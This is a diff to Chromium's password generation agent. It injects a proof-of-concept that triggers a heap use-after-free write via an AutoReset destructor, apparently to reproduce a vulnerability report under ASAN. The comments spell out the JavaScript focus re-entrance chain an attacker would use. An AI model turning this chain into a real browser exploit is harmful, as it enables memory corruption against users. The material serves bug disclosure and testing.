diff --git a/components/autofill/content/renderer/password_generation_agent.cc b/components/autofill/content/renderer/password_generation_agent.cc index 6a7fa075b008c..3d3ccffd5edf4 100644 --- a/components/autofill/content/renderer/password_generation_agent.cc +++ b/components/autofill/content/renderer/password_generation_agent.cc @@ -5,6 +5,7 @@ #include "components/autofill/content/renderer/password_generation_agent.h" #include +#include #include #include #include @@ -263,6 +264,33 @@ void PasswordGenerationAgent::BindPendingReceiver( receiver_.Bind(std::move(pending_receiver)); } +// ============================================================================= +// POC INJECTION: UAF write via AutoReset destructor in PasswordNoLongerGenerated +// +// This POC simulates the synchronous re-entrance chain validated in the report: +// SetAutofillValue (line 788) -> DispatchFocusEvent (sync, JS-visible) +// -> JS focus handler calls otherField.focus() +// -> Element::Focus -> ShowVirtualKeyboardOnElementFocus (desktop only) +// -> WidgetBase::FocusChangeComplete -> DidCompleteFocusChangeInFrame +// -> HandleFocusChangeComplete(true) [flag still set, not yet reset at 1954] +// -> ShowSuggestions -> ShowPasswordGenerationSuggestions(otherField) +// -> MaybeCreateCurrentGenerationItem(otherField) +// -> guard at 808-810 fails (password_is_generated_ cleared at 774) +// -> current_generation_item_ = std::make_unique<...> [FREES OLD STRUCT] +// +// To avoid requiring real user gesture + browser-side password manager UI flow, +// we inject the state setup (what FoundFormEligibleForGeneration + +// GeneratedPasswordAccepted would do) and invoke the re-entrance directly at the +// point where JS would have synchronously caused it. The UAF mechanics are +// identical: AutoReset's RAW_PTR_EXCLUSION scoped_variable_ is left dangling, +// and ~AutoReset writes 0x00 to freed memory. +// ============================================================================= +namespace { +// Heap-allocated to dodge -Wexit-time-destructors. Leaks intentionally. +WebInputElement* g_poc_reentrance_target = nullptr; +bool g_poc_armed = false; +} // namespace + void PasswordGenerationAgent::DidCommitProvisionalLoad( ui::PageTransition transition) { // Update stats for primary main frame navigation. @@ -284,6 +312,94 @@ void PasswordGenerationAgent::DidCommitProvisionalLoad( } current_generation_item_.reset(); generation_enabled_fields_.clear(); + + // POC: Schedule the trigger after DOM is ready, gated on URL marker. + if (render_frame() && render_frame()->GetWebFrame()) { + blink::WebDocument doc = render_frame()->GetWebFrame()->GetDocument(); + if (doc && doc.Url().GetString().Utf8().find("poc-uaf-autoreset") != + std::string::npos) { + base::SingleThreadTaskRunner::GetCurrentDefault()->PostDelayedTask( + FROM_HERE, + base::BindOnce( + [](PasswordGenerationAgent* agent) { + if (!agent->render_frame()) return; + blink::WebDocument doc = + agent->render_frame()->GetWebFrame()->GetDocument(); + if (!doc) return; + + // Find the three password fields by ID. + WebInputElement field_a = + doc.GetElementById("pwA").DynamicTo(); + WebInputElement field_b = + doc.GetElementById("pwB").DynamicTo(); + WebInputElement field_c = + doc.GetElementById("pwC").DynamicTo(); + if (!field_a || !field_b || !field_c) { + fprintf( + stderr, + "[POC] failed to find fields a=%d b=%d c=%d url=%s\n", + !!field_a, !!field_b, !!field_c, + doc.Url().GetString().Utf8().c_str()); + return; + } + + // ---- SIMULATE BROWSER-SIDE SETUP ---- + // 1) Browser sends FoundFormEligibleForGeneration for field_c + // (the "other" generation-eligible field that re-entrance + // will switch to). + FieldRendererId id_c = form_util::GetFieldRendererId(field_c); + PasswordFormGenerationData gen_data_c; + gen_data_c.new_password_renderer_id = id_c; + // No confirmation field for C (null renderer id). + agent->generation_enabled_fields_[id_c] = gen_data_c; + + // 2) Browser sends FoundFormEligibleForGeneration for field_a, + // then user accepts generated password. Net effect: + // current_generation_item_ exists with generation_element_=A, + // password_elements_=[A,B], password_is_generated_=true. + WebFormElement form = field_a.GetOwningFormForAutofill(); + std::optional form_data = + form ? agent->password_agent_->GetFormDataFromWebForm( + form, /*form_cache=*/{}) + : agent->password_agent_ + ->GetFormDataFromUnownedInputElements( + /*form_cache=*/{}); + if (!form_data) { + fprintf(stderr, "[POC] failed to extract form data\n"); + return; + } + std::vector passwords = {field_a, field_b}; + agent->current_generation_item_ = + std::make_unique( + field_a, std::move(*form_data), std::move(passwords)); + agent->current_generation_item_->password_is_generated_ = true; + + // ---- ARM THE RE-ENTRANCE ---- + // When PasswordNoLongerGenerated's loop reaches field_b (the + // confirmation field, != generation_element_), it calls + // SetAutofillValue which dispatches a synchronous focus event. + // In the real attack, JS handles that focus, calls + // field_c.focus(), and the + // ShowVirtualKeyboardOnElementFocus chain re-enters + // MaybeCreateCurrentGenerationItem(field_c). We simulate that + // call directly at the equivalent point in the loop. + if (!g_poc_reentrance_target) { + g_poc_reentrance_target = new WebInputElement(); + } + *g_poc_reentrance_target = field_c; + g_poc_armed = true; + + fprintf(stderr, + "[POC] state ready, calling PasswordNoLongerGenerated\n"); + agent->PasswordNoLongerGenerated(); + fprintf(stderr, + "[POC] PasswordNoLongerGenerated returned " + "(if you see this, ASAN missed it)\n"); + }, + base::Unretained(this)), + base::Milliseconds(2000)); + } + } } void PasswordGenerationAgent::DidChangeScrollOffset() { @@ -784,8 +900,42 @@ void PasswordGenerationAgent::PasswordNoLongerGenerated() { current_generation_item_->password_elements_) { base::AutoReset auto_reset_update_confirmation_password( ¤t_generation_item_->updating_other_password_fields_, true); - if (current_generation_item_->generation_element_ != element) + if (current_generation_item_->generation_element_ != element) { element.SetAutofillValue(blink::WebString()); + // POC: SetAutofillValue above dispatched a synchronous focus event + // (web_form_control_element.cc:176) because `element` (field_b) is not + // focused. In the real attack, JS handles that focus event and calls + // field_c.focus(), which on desktop triggers + // ShowVirtualKeyboardOnElementFocus -> WidgetBase::FocusChangeComplete + // -> recursive HandleFocusChangeComplete(true) -> ShowSuggestions + // -> ShowPasswordGenerationSuggestions(field_c) + // -> MaybeCreateCurrentGenerationItem(field_c). + // We invoke that final call directly here, at the same point in the + // call stack where it would land synchronously. The guard at line + // 808-810 fails because password_is_generated_ was cleared at line 774 + // and field_c != current generation_element_, so current_generation_item_ + // is replaced by std::make_unique, FREEING the struct that + // auto_reset_update_confirmation_password.scoped_variable_ points into. + if (g_poc_armed) { + g_poc_armed = false; + fprintf(stderr, + "[POC] simulating synchronous re-entrance: " + "MaybeCreateCurrentGenerationItem(field_c)\n"); + fprintf(stderr, + "[POC] before: current_generation_item_ = %p\n", + static_cast(current_generation_item_.get())); + MaybeCreateCurrentGenerationItem(*g_poc_reentrance_target, + FieldRendererId(), + /*form_cache=*/{}); + fprintf(stderr, + "[POC] after: current_generation_item_ = %p " + "(old struct FREED)\n", + static_cast(current_generation_item_.get())); + *g_poc_reentrance_target = WebInputElement(); + // Fall through. End of this iteration scope -> ~AutoReset runs -> + // *scoped_variable_ = false -> heap-use-after-free WRITE. + } + } } // The above call to SetAutofillValue() dispatches events that may change the // DOM. Therefore, any cached FormData may be outdated, and we must not use a